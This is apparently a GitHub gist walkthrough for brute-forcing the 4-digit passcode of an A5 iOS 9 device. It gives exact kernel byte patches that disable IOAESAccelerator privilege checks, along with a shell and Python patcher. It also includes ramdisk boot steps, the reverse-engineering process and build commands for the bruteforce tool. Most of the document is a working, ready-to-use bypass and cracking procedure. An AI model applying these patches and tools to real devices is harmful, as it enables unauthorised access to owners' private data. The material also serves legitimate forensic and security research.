Skip to content

Instantly share code, notes, and snippets.

@bmwalters
Created November 11, 2024 23:25
Show Gist options
  • Save bmwalters/aff476d87dc750f4a7e49357e3c4596b to your computer and use it in GitHub Desktop.
Save bmwalters/aff476d87dc750f4a7e49357e3c4596b to your computer and use it in GitHub Desktop.
4-digit passcode bruteforce for A5 on iOS 9

tl;dr

The iphone-dataprotection project (GiHub mirror) includes a tool to determine an iOS device's 4-digit passcode using a brute force technique. That project only claims support for devices <= iOS 8 and < A5. It turns out the code also supports A5 devices on iOS 9.

However the brute force utility also requires a companion kernel patch to enable access to keys such as 0x835 in calls to the AES accelerator from userland. This doc confirms the value of said patches for 32-bit iOS 9.

This writeup also describes the various steps required to use these tools on an x86_64 Linux host. The ecosystem is in a pretty good state thanks to the hard work of many project authors.

user's guide

  1. Boot an ssh-enabled ramdisk.
    1. As of writing, for A5 this requires checkm8-a5 and Arduino.
    2. As of writing, for iOS 9 this recommends selecting build version 13A452.
  2. Patch the kernel and boot the patched version instead. ssh to the device and mount the partitions.
  3. On your host machine, set up an ios toolchain and build iphone-dataprotection.
  4. Transfer the bruteforce utility from your host machine to the device.
    1. $ scp -oHostKeyAlgorithms=+ssh-rsa -P 6414 ./bruteforce [email protected]:/mnt2/tmp/bruteforce
  5. ssh to the device and execute the bruteforce utility: $ /mnt2/tmp/bruteforce -u
  6. Within about half an hour the program should terminate and print the 4-digit passcode!

ios 9 IOAESAccelerator unprivileged patch

Within IOCryptoAcceleratorFamily.kext, patch the following instructions.

In the Kernelcache of build 13A452, this kext begins at offset 0x873000 and has size 0xe000.

00 f0 82 80 --> 40 f6 35 01  # beq.w #0x108  --> movw r1, #0x835  (repeat previous instruction)
03 f0 77 ff --> 40 20 40 20  # bl    #0x3ef2 --> movs r0, #0x40   (replace subroutine call with good outcome)
70 d3 ba 68 --> 64 28 ba 68  # blo   #0xe4   --> cmp  r0, #0x64   (repeat previous instruction)

It turns out that the first patch is the same as what's used in iphone-dataprotection for iOS 8. The last 2 patches may not actually be needed.

I have attached a quick and dirty shell + Python script which performs these patches offline to the target Kernelcache.

patch.sh
#!/bin/sh

DEVICE_MODEL="iPod5,1"
BUILD_VERSION="13A452"
LEGACY_IOS_KIT="/path/to/Legacy-iOS-Kit"
XPWNTOOL="${LEGACY_IOS_KIT}"/bin/linux/x86_64/xpwntool
JOKER=/path/to/joker/joker.ELF64

main() {
	KEYFILE="${LEGACY_IOS_KIT}"/resources/firmware/${DEVICE_MODEL}/${BUILD_VERSION}/index.html
	ENC_IV=$(jq -r < ${KEYFILE} '.keys[] | select(.image == "Kernelcache").iv')
	ENC_KEY=$(jq -r < ${KEYFILE} '.keys[] | select(.image == "Kernelcache").key')
	TARGET_FILE=$(jq -r < ${KEYFILE} '.keys[] | select(.image == "Kernelcache").filename')

	cp \
		"${LEGACY_IOS_KIT}"/saved/${DEVICE_MODEL}/ramdisk_${BUILD_VERSION}/${TARGET_FILE} \
		Kernelcache.orig.pack.enc

	${XPWNTOOL} \
		Kernelcache.orig.pack.enc \
		Kernelcache.orig.pack \
		-iv ${ENC_IV} -k ${ENC_KEY} \
		-decrypt

	${XPWNTOOL} Kernelcache.orig.pack Kernelcache.orig.raw

	TARGET_KEXT_INFO=$(${JOKER} -k Kernelcache.orig.raw | rg IOCryptoAcceleratorFamily)
	TARGET_KEXT_OFFSET=$(echo ${TARGET_KEXT_INFO} | rg -or '$1' '\bat 0x([a-fA-F0-9]+)\b')
	TARGET_KEXT_SIZE=$(echo ${TARGET_KEXT_INFO} | rg -or '$1' '\b([a-fA-F0-9]+) bytes\b')

	python3 do_patch.py \
		Kernelcache.orig.raw ${TARGET_KEXT_OFFSET} ${TARGET_KEXT_SIZE} Kernelcache.patched.raw

	${XPWNTOOL} Kernelcache.patched.raw Kernelcache.patched.pack.enc \
		-t Kernelcache.orig.pack.enc -iv ${ENC_IV} -k ${ENC_KEY}

	${XPWNTOOL} \
		Kernelcache.patched.pack.enc \
		Kernelcache.patched.pack \
		-iv ${ENC_IV} -k ${ENC_KEY} \
		-decrypt

	# then replace kernelcache in ramdisk dir in ios kit with Kernelcache.patched.pack (/ update shell script)
}

main
do_patch.py
#!/usr/bin/env python3

import struct
import sys

# first branch --> no-op
def do_patch1(data):
    occurrences = data.split(struct.pack('<L', 0x8082f000))
    output = occurrences[0]
    for i, occurrence in enumerate(occurrences[1:]):
        noop = struct.pack('<L', 0x0135f640)
        output += noop + occurrence
    return output

# second branch --> success result
def do_patch2(data):
    occurrences = data.split(struct.pack('<L', 0xff77f003))
    output = occurrences[0]
    for i, occurrence in enumerate(occurrences[1:]):
        noop = struct.pack('<L', 0x20402040)
        output += noop + occurrence
    return output

# third branch --> no-op
def do_patch3(data):
    occurrences = data.split(struct.pack('<L', 0x68bad370))
    output = occurrences[0]
    for i, occurrence in enumerate(occurrences[1:]):
        noop = struct.pack('<L', 0x68ba2864)
        output += noop + occurrence
    return output

def main():
    infile, offset_hex, length_hex, outfile = sys.argv[1:]

    offset = int(offset_hex, base=16)
    length = int(length_hex, base=16)

    with open(infile, "rb") as inf:
        data = inf.read()
        with open(outfile, "wb") as ouf:
            patched = do_patch3(do_patch2(do_patch1(data[offset:offset + length])))
            ouf.write(data[:offset] + patched + data[offset + length:])

if __name__ == "__main__":
    main()

how the patch was made

I started by researching iOS Data Protection (p10) to understand concepts such as file protection levels and effaceable storage. This context was helpful in the subsequent work even though I didn't need to modify the actual crypto code in iphone-dataprotection.

Then I used Legacy-iOS-Kit and checkm8-a5 via arduino to boot my device to an ssh-enabled ramdisk.

I ran the systemkb-bruteforce tool on a stock kernel to find out at what point it would fail. The utility logged error code 0xe00002c1 (kIOReturnNotPrivileged) and after reading the source I understood that a patch to IOAESAccelerator was needed.

I used xpwntool to decrypt and unpack my Kernelcache, then I used joker to look inside the Kernelcache to find kexts that could contain this class.

$ joker.ELF64 -k ./Kernelcache.raw | rg -i '(accelerator|crypto|keystore|efface|aes)'
7: com.apple.kec.corecrypto(333.0.0.0.0) at 0x4a3000 (3b000 bytes)
45: com.apple.iokit.IOCryptoAcceleratorFamily(89.0.0.0.0) at 0x873000 (e000 bytes)
72: com.apple.driver.AppleEffaceableStorage(48.0.0.0.0) at 0xbb9000 (7000 bytes)
101: com.apple.iokit.IOAcceleratorFamily(201.4.0.0.0) at 0xd20000 (1d000 bytes)
135: com.apple.driver.AppleEffaceableNANDNOR(48.0.0.0.0) at 0xe48000 (4000 bytes)
138: com.apple.driver.AppleKeyStore(275.0.0.0.0) at 0xed1000 (1b000 bytes)

It looked like IOCryptoAcceleratorFamily was the most promising. I extracted the kext and performed a search in the binary for the error code I encountered.

$ joker.ELF64 -K com.apple.iokit.IOCryptoAcceleratorFamily ./Kernelcache.raw
...
$ rg -bao --no-unicode '\\xc1\\x02\\x00\\xe0' /tmp/com.apple.iokit.IOCryptoAcceleratorFamily.kext > rgout
$ vi rgout  # use text editor since the binary has terminal control characters
6976:\301^B\200\340
7556:\301^B\200\340
9492:\301^B\200\340

There were 3 occurrences of the error code and I noted their byte positions within the kext.

It's more convenient to translate these byte positions to virtual addresses in the loaded kext object file when reverse engineering. To do this, I needed otool for Mach-O from the iOS toolchain I compiled.

$ armv7-apple-darwin-otool -l /tmp/com.apple.iokit.IOCryptoAcceleratorFamily.kext
/tmp/com.apple.iokit.IOCryptoAcceleratorFamily.kext:
Load command 0
      cmd LC_SEGMENT
  cmdsize 328
  segname __TEXT
   vmaddr 0x808bc000
   vmsize 0x00006000
  fileoff 0
 filesize 24576
...

Because the start of the file is mapped to 0x808bc000, that offset must be added to each file offset to obtain the corresponding virtual address of the value. As an example, the virtual address of the first error code value (file offset 6976) is 0x808bdb40.

Now that I had the virtual addresses of the error code values, I could use a real reverse engineering tool to find and understand the control flow code referencing those error codes and raising them to my program.

I tried several programs: Ghidra, Cutter, Binary Ninja, and Hopper. I'm no expert with these, but I couldn't configure Ghidra and Cutter to automatically disassemble all the mixed ARM/Thumb code in the kext. Binary Ninja and Hopper both found the appropriate Thumb code, but I preferred the UI of Hopper for this task. I accomplished the work using a few sessions of the 30-minute free trial.

To hone in on which of the 3 error code occurrences I need to reverse engineer, I actually wrote one smaller kernel patch first. I replaced the first error code with 0xe00012c1 (added 0x1000), the second with 0xe00022c1, and so on.

Quick kernel patch to disambiguate error codes
import struct
import sys

# mark error codes for easy debugging
def do_patch1(data):
    occurrences = data.split(struct.pack('<L', 0xe00002c1))
    output = occurrences[0]
    for i, occurrence in enumerate(occurrences[1:]):
        sentinel = struct.pack('<L', 0xe00002c1 + (0x1000 * (i + 1)))
        output += sentinel + occurrence
    return output

def main():
    infile, offset_hex, length_hex, outfile = sys.argv[1:]

    offset = int(offset_hex, base=16)
    length = int(length_hex, base=16)

    with open(infile, "rb") as inf:
        data = inf.read()
        with open(outfile, "wb") as ouf:
            patched = do_patch1(data[offset:offset + length])
            ouf.write(data[:offset] + patched + data[offset + length:])

if __name__ == "__main__":
    main()

Re-running the bruteforce utility then revealed the first occurence was the one affecting my program.

The reverse engineering itself was straightforward. I searched for references to the error code value, then looked around for branch instructions that would trigger an early exit from the accelerator code and raise those errors. Then I developed patches to bypass or remove those branches. My patch strategy was not creative; often I removed an instruction by simply duplicating the byte sequence of the instrction before it.

configuring and using an ios toolchain

This section is essentially a summary of tpoechtrager/cctools-port and its usage_examples/ios_toolchain.

  1. Build and install libtapi and Apple's tools using tpoechtrager/cctools-port.
    1. Note that libtapi and the tools are packaged for Arch Linux in the AUR if you prefer to install that way.
    2. To build the tools for armv7 using the aur package, change the ./configure invocation to add --target armv7-apple-darwin, then change pkgname and provides as appropriate. Also add --enable-tapi-support --with-libtapi.
  2. Build and install ldid (aur).
  3. Download and unpack Xcode according to cctools-port's usage_examples/ios_toolchain.
    1. Xcode archives can be found at https://xcodereleases.com; I used Xcode 7.3
    2. When mounting the dmg, I found success only with darling-dmg.
      1. dmg2img produced some empty files, e.g. stdio.h
      2. p7zip produced empty files instead of symlinks, e.g. libSystem.tbd
  4. Install clang from your system package manager. clang itself supports cross-compilation by default.
  5. When you need to invoke clang to compile software for iOS, use the following arguments:
$ clang -target armv7-apple-darwin -arch armv7 \
    -isysroot /path/to/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk \
    -miphoneos-version-min=9.0 -mlinker-version=609 ...

This will find the right version of cctools such as ld because clang uses the target triple as a prefix when invoking tool binaries by default.

Here is a "hello world" program that can be used to test the toolchain:

main.c
#include <stdio.h>

int main(int argc, char** argv) {
	printf("hello world\n");
	return 0;
}
entitlements.plist

Not all of these entitlements are needed for the "hello world" program; they will be needed for the bruteforce tool.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.keystore.device</key>
    <true/>
    <key>get-task-allow</key>
    <true/>
    <key>run-unsigned-code</key>
    <true/>
    <key>task_for_pid-allow</key>
    <true/>
</dict>
</plist>
Makefile
hello:
	clang -target armv7-apple-darwin -arch armv7 \
        -isysroot /path/to/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk \
        -miphoneos-version-min=9.0 -mlinker-version=609 \
        main.c -o hello
	ldid -Sentitlements.plist hello

building iphone-dataprotection

After setting up the toolchain as described above, the bruteforce tool in iphone-dataprotection can be built as follows:

iphone-dataprotection$ cd ramdisk_tools
ramdisk_tools$ ln -sf \
    /path/to/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.11.sdk/System/Library/Frameworks/IOKit.framework/Versions/Current/Headers \
    ./IOKit
ramdisk_tools$ ln -sf \
    /path/to/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.11.sdk/usr/include/libkern \
    ./libkern
ramdisk_tools$ make bruteforce \
    CC="clang -target armv7-apple-darwin -arch armv7" \
    SDK=/path/to/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk \
    CODESIGN="ldid -Sentitlements.plist" \
    MINIOS=9.0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment